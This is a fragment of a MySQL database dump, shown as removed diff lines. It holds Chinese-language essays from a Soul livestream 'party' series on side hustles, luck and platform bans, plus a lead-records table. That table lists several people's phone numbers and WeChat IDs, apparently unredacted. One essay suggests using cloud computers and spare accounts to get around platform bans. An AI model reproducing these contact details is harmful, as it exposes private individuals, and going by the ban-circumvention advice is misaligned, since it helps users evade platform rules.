怎么结合、智能体怎么变现。\n\n\n传统模式是认识 A 介绍 BCD;\n\n\n信任背书重,很难线上化。\n\n\n智能体只能做中间流程、引流对接;\n\n\n先到小程序里让人推、再链接到你,比较有机会。\n\n\n6 号做自媒体、帮中医馆导流,客资 80 到 120;\n\n\n要么先把量做上去、一天导 10 个 20 个再谈合作,要么立个项一起投预算、按比例分、绑深一点。\n\n\n体量足够大,对方才愿意往深了聊。\n\n\n每天 6 点到 9 点,四百到六百人;\n\n\n一个月一万个人,碰不到一个合适的合作者?\n\n\n能碰到几个。\n\n\n五个挑一个,事就成了。\n\n\n不然几万块请一个人,可能没结果,学会了有结果还撬你项目。\n\n\n做副业、做切片的联系管理,123 都可以;\n\n\n有资源群、副业群、会员群。\n\n\n今年 4 到 6 月 all in 电竞,做了 19 年想发力;\n\n\n网吧回本两年,去年 Q4 全国 21 万家,资本没地方去只能往这儿怼。\n\n\n有开网吧的、做游戏主播的、私域操盘手、AI 研发有作品的,可以来聊。\n\n\n钱是大风刮来的——做着做着到一定度,就有人来链接;\n\n\n身体和家庭才是最大的本钱。', 2468, 0, 1.00, 76, 'published', '2026-03-06 14:16:17.000', '2026-03-10 06:25:50.324', 0, 0, 0, 6.90, NULL, NULL); -INSERT INTO `chapters` VALUES (208, '10.07', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第111场|平台规则变了怎么办', '# 第111场|平台规则变了怎么办\n\n\n平台规则一变,别把身家押在一个篮子里。\n\n\n2026 年 2 月 27 日,上午。\n\n\n第 111 场。\n\n\n---\n\n\n那两天 Cursor 大封号,不少高消耗用户也被误伤。\n\n\n有人月耗 TOKEN 七八千,照样被封,申诉就完了,别自己先崩。\n\n\n封号背后是蒸馏攻击那档子事:国内几家套壳用蒸馏技术抽人家研究文档当训练数据,被定义成蒸馏攻击,上升到国家安全层面,对方批量封号。\n\n\n正规用、用得勤的,被一起扫进去,只能认规则。\n\n\n规则是别人的,活法自己的。\n\n\n能控的备好,不能控的别耗。\n\n\n---\n\n\n场上有人问:新号登不上去,要手机号啥的,试了一整天都不行;还有说流程走完了、图也生成了,结果账号里找不到——是不是跟这两天封号有关?\n\n\n会。\n\n\n平台一收紧,接口、存储、展示都会抽风,流程对、结果丢,常有的事。\n\n\n别死磕一台设备、一个账号。\n\n\n云电脑用过吗?远程登录到另一台电脑上操作,本机是华为是苹果都无所谓,封号、限流往往跟设备或环境绑在一起,换环境就少很多 7 的 8 的。\n\n\n真想长期搞,备一台云机、多一个环境,成本不高,省的是心态。\n\n\n---\n\n\n还有人担心:手机、电脑会不会记录隐私,聊啥都被标注、以后被重点关照?\n\n\n平台有能力这么干,但没必要对每个用户都这么干;Soul 上我们聊的每一句话它要留存、做归类、做流量池,那是平台的事,你控制不了。\n\n\n别自己吓自己,也别把时间耗在「会不会被盯上」上。\n\n\n生活在哪就接受哪的规则,抱怨没用,多留后手才有用。\n\n\n---\n\n\n做事落点放在「能控」上:账号封了能申诉、能换号;环境不稳就上云电脑;平台改版就跟着调节奏。\n\n\n不押宝在一个平台、一个号、一台设备,规则变了,还能接着干。\n\n\n想做切片、做副业、要稳定环境的,可以找管理问问云机或备用方案,有电脑会剪辑的也能一起对一下流程。\n\n\n---\n\n\n平台规则变了怎么办?别押宝在一个篮子,备选方案先铺好,接着做事。', 743, 0, 1.00, 70, 'published', NULL, '2026-03-10 06:25:50.254', 0, 0, NULL, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (209, '10.14', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第117场|流水百万挣八千,你还干不干?', '# 第117场|流水百万挣八千,你还干不干?\n\n流水百万挣八千,不是失败,是验证。\n\n2026 年 3 月 6 日,上午 6:31。\n\n第 117 场,154 分钟;场观 51602,进房 503 人。\n\n---\n\n点卡进货 0.97 卖 0.98,流水 100 万挣 8000,利润薄到很多人看不上。\n\n但这一单验证了两件事:高频出手能把随机性压成稳定现金流;机制写死、风控设阈值,情绪来了动作不变形。\n\n点卡的本质不是暴利而是周转,周转快就能用样本量把随机性压成稳定现金流。\n\n风控是阈值,阈值过线就触发,退款、冻结、封店一起上;通道要备份、账号要备份、客服要备份,最坏情况要提前写成流程。\n\n规则写在前面,执行放在中间,复盘放在后面。\n\n先把出局概率压到最低,再谈好运。\n\n---\n\n运气不是等来的,是设计出来的。\n\n设计分三层,次序不能乱:第一层先不出局,第二层进场被选,第三层接住放大。\n\n第一层,不出局。现金流安全垫、健康、可替代收入源、不过度负债、避免单点依赖,这是反脆弱底盘。不出局比赌对更重要,能活着才有机会等到下一次风口。点卡的风控逻辑就是这一层:最坏情况先有答案,真遇到就按流程走,而不是临场靠感觉硬扛。情绪一上来动作就变形,变形就会出局,所以机制要写在前面。\n\n第二层,进场被选。把自己放进高密度机会场,这场的机会场是派对房,一场 300~600 人进房,偶尔 700 人,两小时相当于一场线上会展;固定高频出手,每周发内容、约人、做试单,频率比灵感重要,把出手做成日历事件别等情绪来带路,运气偏爱样本量;做可被选择的标准件,标签写清楚、解决什么问题服务谁怎么交付、给出可验证证据比如案例数据作品,入口做短一步就能合作,入口越短被选中的概率越高;用降低他人风险影响选择,报价结构、交付边界、里程碑、退款保底、试用试单、对赌条款写死,别人选你本质是在控风险,这一场最直接的例子是把「搞不到流量退款」和「内部价 365」写成规则,让对方先敢试再谈放大。\n\n第三层,接住放大。建立信任资产,信任等于持续一致加可预测交付加公开证据,信任越厚越容易被默认选择,能交付就交付不能交付就提前说清楚边界;把人脉当路由器不是收藏品,关键不是认识多少人而是能把价值在网络里路由起来,资源对接、信息过滤、机会撮合,越像基础设施越常被想起,派对房的价值是把需求和供给撮合到能落地的那 3%~5%;做有杠杆的表达,内容作品产品方法论都是杠杆,杠杆越大别人看到你的概率越高,把每次好运都沉淀成可复用素材;把恐惧决策从系统里剔除,预算上限、止损线、决策清单先写出来,机制的意义是让最坏情况先有答案;把不确定变成可选项,少做不可逆的大赌,多做小成本可撤退上行无限的尝试,多渠道多产品雏形多合作试单,机会是试出来的不是等出来的;选正反馈环境,赛道组织伙伴是否奖励正确行为,环境惩罚努力就别硬扛;把好运变复利,沉淀 SOP、包装案例、提炼方法论、产品化渠道化,把一次性好运变成持续性能力。\n\n---\n\n先不出局,再进场被选,再接住放大;次序乱了,运气接不住。\n\n把风控写成流程,把分配写死在合同里,把出手做成日历事件。\n\n---\n\n合作的核心不是热情,是把风险和分配写死。\n\n钱从哪里来、花到哪里去、挣回来怎么分,不写清楚必然翻车。\n\n钱打公账、明码标价、财务监管,是降低内耗的最短路径;没有预算的项目最容易崩,谁请客谁垫钱说不清就变成欠账。\n\n这一场聊链接合作、派对流量、教培,核心都是同一套:把价值写清楚、把流程写清楚、把价格写清楚。\n\n派对里跑项目,装龙虾和代充都验证了同一件事:标准件、低摩擦入口、降低他人风险,把价值写清楚把流程写清楚把价格写清楚,对方缺利润就会主动找你。\n\n想做副业、做切片的,联系管理就行,发就有钱,流程跑通就持续给。\n\n---\n\n运气等于在场频率乘可被选择,再除以出局风险。\n\n流水百万挣八千,验证的是底盘稳;底盘稳了,才有资格谈放大。', 1544, 0, 1.00, 77, 'published', NULL, '2026-03-10 06:25:50.335', 0, 0, NULL, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (210, '10.15', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第118场|运气是选出来的,不是等出来的', '# 第118场|运气是选出来的,不是等出来的\n\n运气是选择叠加出来的,不是求来的。\n\n2026 年 3 月 7 日,上午 6:39。\n\n第 118 场,190 分钟;场观 74873,进房 586 人。\n\n---\n\n人无非在做很多选择,你的选择可控,别人的选择你不可控。\n\n运气,就是你的选择叠加了别人的选择,再加上天气、环境、事件这些外在因素,三重叠加等于运气。\n\n比如招人,对方选不选你来面试你不可控,但你选不选他、看不看得懂简历,你可控。\n\n看懂简历你就邀约,这是可控,他来了,能力很强、跟公司很匹配,那是他的选择,你控制不了,那就是运气。\n\n运气好,就是好的人、好的事、好的环境同时选了你,所以提升运气不是意念,是改磁场。\n\n改磁场靠行动,不靠想,想不动。\n\n---\n\n怎么提升?三条主径:提升影响力,提升识别能力,提升圈子。\n\n第一条,提升影响力,多说多曝光,更多人知道你,机会自然多,被选中的概率自然高。\n\n最简单的动作,每天发一条朋友圈,坚持发。\n\n开派对就是提升曝光量,每天 300~700 人进房,每月一两万人在听 10~15 分钟,这就是在堆曝光。\n\n第二条,提升识别能力,不踏坑,别在错的人、错的事上浪费机会。\n\n看不懂就不碰,看不懂就是不确定,不确定就别决策。\n\n每天跟一个高质量的人交流,或者每天看一个跟自己专业相关的视频、一本书,做笔记,都是在提升识别力。\n\n第三条,提升圈子,圈子决定你的格局和机会池。\n\n圈子越小越精,越值钱,全国电竞圈子核心就 8 个人,最大的五家天猫游戏老板都在里面,谁要联系谁,发条微信就行。\n\n入圈的前提是你有分量、有筹码,不是求来的,是别人选你。\n\n---\n\n三条主径往下拆,就是十二个可执行动作。\n\n一、找高密度机会场,机会最大的地方才有运气。AI 是当前最大的机会场,派对名加 AI,聊事跟 AI 相关,公司全用 AI 提效,你 all in 进去,机会自然多。\n\n二、高频出手,样本足够多,运气才会到你这。派对两三个小时快速撮合 a、b、c、d、e,能聊到一块的拉群直接开干,快速试错、快速链接,高频才有叠加。\n\n三、做可被选择的标准件,让别人选你而不是你求人。做电竞、做私域,能带给电商公司什么、带给游戏公司什么,非常清楚,每天在展示这个,曝光够了,是被选择。\n\n四、降低别人的风险,别人敢选你,才选你。做切片不用你花钱,还给你钱、培训、分钱,全部降低风险,2000 块就能做最小闭环,不用租办公室、不用凑十万块。\n\n五、建立信任,言行一致、持续叠加,信任才会厚。有场地、有团队、有持续在做的事,一年两年都在做同一件事,别人更愿意跟你合作。\n\n六、把人脉当路由器,不是收藏品。不是认识你就放着,是你需要他、他需要你,委托他去调配资源,利益分清楚。\n\n七、做有杠杆的表达,放大你的声音。派对里说一遍,录下来写成文章发小程序,再发朋友圈,再让粉丝分发赚钱,一次表达撬动几千几万人。\n\n八、剔除恐惧决策,看不懂、害怕的事,不要决策。量化为什么容易赢?它只在可控数据模型底下做最小闭环,不靠感觉,不靠赌。\n\n九、永远在牌桌上,不要出局。出局就是破产、没钱参与,控制好预算、跑好最小单位模型,一直在牌桌上,才能等到下一波运气。\n\n十、把不确定变成可选项,期权思维。炒股方法很多,看不懂就是不确定,只做确定的事,比如 11 点半到 1 点放消息的时间窗口,看得懂就做,看不懂不碰。\n\n十一、做正反馈的事,小成功推动大成功。小成功获得小自信,中成功获得中自信,螺旋上升,力所能及不断叠加。\n\n十二、把好运变成复利,流程化、案例化、方法论化。当这些变成体系、框架、流程,运气就不是一次性的,而是可以复利的。\n\n---\n\n这一场聊 3D 打印、游戏代充、正财偏财,本质都是同一套:正财是稳定现金流、可复制模型,偏财是看懂窗口、快进快出。\n\n拆迁砸到你头上,首先你得是村里的、有户口,你才有资格被砸中。\n\n运气是留给有准备的人,首先你得拥有这个东西,并且不断在曝光。\n\n想做副业、做切片的,联系管理就行,发就有钱。\n\n---\n\n运气可以改变,改变靠做,不靠想。', 1583, 0, 1.00, 78, 'published', NULL, '2026-03-10 06:25:50.347', 0, 0, NULL, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (211, '10.16', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第119场|开派对的初心是早上不影响老婆睡觉', '# 第119场|开派对的初心是早上不影响老婆睡觉\n\n早起不是为了开派对,早起是为了不吵老婆睡觉。\n\n2026 年 3 月 8 日。\n\n第 119 场,154 分钟;场观 50692,进房 446 人。\n\n---\n\n平常早上 4 点起来,复盘、写文章、写公告,干完活到 6 点,6 点开派对,纯粹聊天,两三个小时。\n\n为什么不是 5 点把老婆挖起来聊聊天、遛遛狗?因为吵她睡觉。\n\n初衷是不吵老婆,开派对核心就这个,不然平常就遛遛狗吵吵她。\n\n所以去隔壁书房,自己聊、跟大家聊,聊完老婆也醒了,家里也舒服。\n\n这个初心自然而然形成了风格:娱乐型社交,允许说废话,不刻意做体系。\n\n才来 Soul 四个月,开派对三个半月,119 场,七八个管理、几十人做切片、副业群、小程序,全是自然形成的。\n\n千里宝宝问我勤快吗?勤快?懒,懒得半死,每天太闲了,几乎都在睡觉。\n\n早上 11 点或下午 3 点才会客,一周排不了两个面试,平常公司泡茶、睡觉,其他时间都是大家主动拜访的多。\n\n懒是人的本性,谁想勤快?\n\n但懒有懒的活法:动作足够简单、有利可图、正反馈,就能坐得住。\n\n开派对 30 秒就开,7 个手机,5 个安卓备用号,进房间直接开,不纠结取名、不纠结装修,动作足够简单。\n\n发切片就给钱,发瞬间就有收益,获客资再给钱,有利可图;谁受益谁坚持,正反馈来了就能坐得住。\n\n九麦问我刚 ICU 出来没多久?一年多了,3 月 20 号进的,五病齐发,差 5 分钟就没命,又救回来了;活着要留下点什么,留点内容在互联网上,万一下次回不来了就没了。\n\n走过鬼门关之后,想的角度不一样,更多是顺着自己喜好做事,顺便留下点东西,所以坚持写书、写日记、天天哔哔,尽可能自然来的事。\n\n初心不一样,结果就不一样。\n\n---\n\n早起先把活干完再开派对,不吵家人。\n\n动作足够简单:30 秒能开就别纠结取名装修。\n\n有利可图、正反馈:谁受益谁坚持,发就给钱。\n\n开派对就是筛选:能坚持发 7 天、14 天的人再去找管理。\n\n做好自己,不消耗能量,闲聊留给闲的时候。\n\n---\n\n有人问 Soul 的业务模型。\n\n开派对多分享,很多人来分享最赚钱的一个月,写成文章,派对几小时生产内容;几十人想做切片的在群里,给钱做切片,分发到瞬间引流;一块钱一节浓缩进小程序,谁分享谁拿 90% 收益,30 天锁定;后端推流业务、撮合项目、招人,就这样。\n\n等于把抖音成熟的模式在 Soul 上做一遍,抖音 17 年就开始做,18 年起飞,整个生命周期都参与了,现在流量很差,Soul 还有机会。\n\n光派对每月 60~100 万曝光,一两万人进房,捞几个客户很容易;分发是 20~100 倍的曝光量。\n\n但我说 Soul 现在都是花钱的,不是靠这个挣钱,主要是让管理和参与的人能看到钱、参与进来;想做副业、做切片的,联系管理就行,发就有钱,流程跑通就持续给。\n\n有人问切片是什么形式?一块钱在哪买?\n\n想做副业的人联系管理,副业只干一件事:把视频发到瞬间,就给钱,做多少动作给多少钱;别人看了瞬间私聊问内容在哪,切片只有 30 秒到 8 分钟,理解不深,所以后端做了小程序,3 小时浓缩成一块钱,30 秒能看完;付一块钱,90% 收益归分享的人,30 天锁定,后续消费也跟他绑定。\n\n以前 3 小时派对想提取 10~30 个主题,得花一个礼拜剪,现在 AI 半小时能剪 10~30 个,发多容易,发就给钱。\n\n我说开派对本身就是筛选:能开派对的人再来,能坚持发视频 7 天、14 天的人再去找管理,这是基础筛选;如果对方不能跟你合作、跟你没关系,就不要闲聊,除非很闲;每天都要做这动作时,尽可能不消耗自己能量,做好自己就行。\n\n核心就两个字:筛选。\n\n---\n\n阿满接麦,说刷着牙在听,想听听业务逻辑,能不能代入一下自己的赛道。\n\n阿满主业做贷款,兼职做保险,又在炒股,都绕着金融走。\n\n我说金融这块有投资一家助贷公司,可以讲一讲它跟 AI 怎么结合:金融最缺客户,后端 30 人,沉淀 12 年,跑银行对接、助贷放款;前端把 AI 手机分发给银行职员、法务、财务,对方只要把客户加到微信,AI 来点赞、评论、转发、激活,中台 30 人负责线下成交,分钱比例写死在流程里,跳单约束住,就不会出事。\n\n厦门最大的助贷公司干了二十几年,想并它,并不动,因为跑的数据比他们获客和投产高三倍。\n\n阿满问有没有合作机会,我说可以找叶总聊,看在你城市能不能再搞一个;联系方式分段发,或者搜卡若创业派对小程序,点右上角头像,AI 会自动加你。\n\n阿满问能不能把金融 AI 获客体系嫁接到保险,成本大概多少?\n\n成本很重,去年 7 月到现在预算花了一百七十几万,总预算二百六十几万,打磨体系不是开玩笑的;但前端的人几十块钱就能参与,挣几百可能上万,后端磨了大半年才摸出来,前端就是丢个手机,发就给钱。\n\n有人问,还记得来时路吗?还不是很强的时候,怎么建立信任?\n\n直接去做,直接执行,没有别的。\n\n早年卖游戏外挂,加工作室群,天天加、天天发、天天聊,人家就来找你买;买着买着发现利润可以,就去找全世界最好的渠道,发邮件发三个月,不会英文用谷歌翻译发德文,终于拿下德国总代,一分钱没花,靠认真做事、长期给别人带来价值;那一年 11 年还是 12 年,卖了 430 多万;进价 18 块,卖 68 块,工作室 50 台 100 台,月费 6000 到 1 万。\n\n信任不是求来的,是做出来的;门槛是自己定的,后端产品能不能跟你融合,看你怎么设计包装、解决目标人群的需求。\n\n---\n\n有人分享深圳电工开房,24 小时房,流量高峰主持,平时几个管理顶,场观经常 100 人,各行业大佬刷礼物,但还没找到变现;我说这种房价值低,因为人群没筛选,报来报去没有筛选,钱在筛选出来的人身上;李亚鹏 33 万人众筹 500 多万,最终 2300 多万是几个大佬 500 万、1000 万砸的,筛选出来的优秀的人用业务体量和体系解决需求、赚应得的钱,顺便给李亚鹏借力;你要众生平等解决所有人需求,不可能都挣到钱,筛选才能出钱出利润。\n\n九麦问学国学、易经怎么学的,试了几次没学成。\n\n我说方法很简单:先看序和说明,再看目录,找最感兴趣的章节,把那几章看完,再快速扫整本;曾仕强讲得很有节奏感,两小时能看完七七八八;国学、易经是为了向内求、了解自己,才能驾驭 AI,而不是被 AI 控制。\n\n有人问睡眠不好怎么办,冥想、呼吸法都试了没用。\n\n想睡好觉,先把事放下,每天放下一件事,不要想,就放下;做减法一段时间,睡眠就好;你都快爆炸了还造个钟把自己变炸弹?要循序渐进让身体习惯,我现在一躺 30 秒就睡着,前一句跟老婆聊天,后一句就睡了。\n\n人智力最高的时候是起床之后两小时;4 点起床,6 点开派对,脑子刚好活。\n\n我说 Soul 房间等级看右上角鸽子,3 级能设 2 个管理,4 级能设 3 个;没投流,Soul 现在 1000 曝光 6~10 块,算下来派对到微信 20~30 块进一个人;广点通可以投 Soul 流量了,要审核,商业化刚开始。\n\n上周六 700 多人,上周曝光量比上上周又涨了 30%,光上周就 20 多万快 30 万。\n\n做副业的、做切片的,联系 2 号 3 号管理;想做金融的,联系 7 号;有靠谱项目想写进电子书的,来派对分享;小程序搜卡若创业派对,内容都有,想合作、想对接,点头像 AI 会加你。\n\n---\n\n初衷是不吵老婆,开派对核心就这个。', 2817, 0, 1.00, 79, 'published', NULL, '2026-03-10 06:25:50.358', 0, 0, NULL, NULL, NULL, NULL); - --- ---------------------------- --- Table structure for ckb_lead_records --- ---------------------------- -DROP TABLE IF EXISTS `ckb_lead_records`; -CREATE TABLE `ckb_lead_records` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `params` json NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `target_person_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `source` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_ckb_lead_records_user_id`(`user_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 16 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of ckb_lead_records --- ---------------------------- -INSERT INTO `ckb_lead_records` VALUES (1, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', '15260158253', 'flydo888', '乘风', '{\"name\": \"乘风\", \"phone\": \"15260158253\", \"userId\": \"ogpTW5a9exdEmEwqZsYywvgSpSQg\", \"wechatId\": \"flydo888\"}', '2026-03-07 11:44:45.929', '', ''); -INSERT INTO `ckb_lead_records` VALUES (2, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', '15260158253', 'flydo888', '乘风', '{\"name\": \"乘风\", \"phone\": \"15260158253\", \"userId\": \"ogpTW5a9exdEmEwqZsYywvgSpSQg\", \"wechatId\": \"flydo888\"}', '2026-03-07 16:25:33.404', '', ''); -INSERT INTO `ckb_lead_records` VALUES (3, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', '15260158253', 'flydo888', '乘风', '{\"name\": \"乘风\", \"phone\": \"15260158253\", \"source\": \"index_lead\", \"userId\": \"ogpTW5a9exdEmEwqZsYywvgSpSQg\", \"wechatId\": \"flydo888\", \"targetUserId\": \"\"}', '2026-03-10 10:26:14.863', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (4, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '少年梦想家', '', 'xyz469003865', '少年梦想家', '{\"name\": \"少年梦想家\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5cteGWqwOsRzh_CCIdKWGSE\", \"wechatId\": \"xyz469003865\", \"targetUserId\": \"\"}', '2026-03-10 10:40:44.176', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (5, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '少年梦想家', '', 'xyz469003865', '少年梦想家', '{\"name\": \"少年梦想家\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5cteGWqwOsRzh_CCIdKWGSE\", \"wechatId\": \"xyz469003865\", \"targetUserId\": \"\"}', '2026-03-10 10:50:57.627', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (6, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 10:59:48.602', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (7, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:00:49.894', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (8, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:02:55.073', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (9, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:15:39.875', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (10, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:16:51.167', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (11, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', '', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-10 12:11:08.600', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (12, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', '', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-10 12:15:14.976', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (13, 'ogpTW5eVttIThJZivHtAredPgYDk', '微信用户gYDk', '14708706724', '', '微信用户gYDk', '{\"name\": \"微信用户gYDk\", \"phone\": \"14708706724\", \"source\": \"index_lead\", \"userId\": \"ogpTW5eVttIThJZivHtAredPgYDk\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-10 13:45:05.452', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (14, 'ogpTW5brJSEI2A3f-OIEoX59l_dM', '微信用户l_dM', '15559167826', '', '微信用户l_dM', '{\"name\": \"微信用户l_dM\", \"phone\": \"15559167826\", \"source\": \"index_lead\", \"userId\": \"ogpTW5brJSEI2A3f-OIEoX59l_dM\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-11 02:40:50.669', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (15, 'ogpTW5brJSEI2A3f-OIEoX59l_dM', '微信用户l_dM', '15559167826', '', '微信用户l_dM', '{\"name\": \"微信用户l_dM\", \"phone\": \"15559167826\", \"source\": \"index_lead\", \"userId\": \"ogpTW5brJSEI2A3f-OIEoX59l_dM\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-11 02:42:59.635', '', 'index_lead'); - --- ---------------------------- --- Table structure for ckb_submit_records --- ---------------------------- -DROP TABLE IF EXISTS `ckb_submit_records`; -CREATE TABLE `ckb_submit_records` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `action` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `params` json NOT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_ckb_submit_records_user_id`(`user_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of ckb_submit_records --- ---------------------------- - --- ---------------------------- --- Table structure for ckb_sync_logs --- ---------------------------- -DROP TABLE IF EXISTS `ckb_sync_logs`; -CREATE TABLE `ckb_sync_logs` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, - `user_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户ID', - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '手机号', - `action` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '同步动作: pull/push/full', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '状态: success/failed', - `request_data` json NULL COMMENT '请求数据', - `response_data` json NULL COMMENT '响应数据', - `error_msg` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL COMMENT '错误信息', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_phone`(`phone`) USING BTREE, - INDEX `idx_created_at`(`created_at`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '存客宝同步日志表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of ckb_sync_logs --- ---------------------------- - --- ---------------------------- --- Table structure for link_tags --- ---------------------------- -DROP TABLE IF EXISTS `link_tags`; -CREATE TABLE `link_tags` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `tag_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `label` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `app_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `page_path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - 